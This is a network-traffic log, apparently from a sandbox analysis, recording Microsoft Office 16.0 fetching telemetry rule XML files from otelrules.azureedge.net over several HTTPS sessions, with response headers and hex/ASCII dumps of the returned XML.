2024-10-26 11:45:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:39 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:39 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 6c5e14af-601e-0002-6c01-27a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114539Z-17c5cb586f6wnfhvhw6gvetfh400000001ag000000007rmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:39 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:39 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: baa41b4f-401e-00ac-2c28-210a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114539Z-16849878b78qf2gleqhwczd21s000000021g00000000gfqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:39 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:39 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114539Z-16849878b78bcpfn2qf7sm6hsn00000003ng000000004k1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:40 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:40 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 26ef0c66-a01e-0070-7425-26573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114540Z-17c5cb586f6mhqqb91r8trf2c800000002vg0000000034yc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:40 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:40 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 97a4daae-f01e-0071-55b0-26431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114540Z-16849878b78q9m8bqvwuva4svc00000000m00000000022w6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:40 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:40 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 8c1a2bd7-001e-008d-4028-26d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114540Z-17c5cb586f62blg5ss55p9d6fn00000002gg0000000049wa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:41 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:41 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:41 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 44e5e715-301e-001f-6416-24aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114541Z-15b8d89586f5s5nz3ffrgxn5ac00000002mg000000004khe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:41 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:41 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:41 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:41 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: c22b4ca9-401e-0029-7f5c-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114541Z-17c5cb586f6mkpfk79wxvcahc000000002e0000000003605 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:41 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:41 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:41 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:41 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114541Z-16849878b78qfbkc5yywmsbg0c00000001r0000000002tqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:41 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:42 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:42 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:42 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: fda05279-201e-0085-3258-2634e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114542Z-17c5cb586f64v7xs992vpxwchg00000001v000000000bhwr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:42 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:42 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:42 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:42 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114542Z-16849878b78j7llf5vkyvvcehs0000000330000000007cwu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:42 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 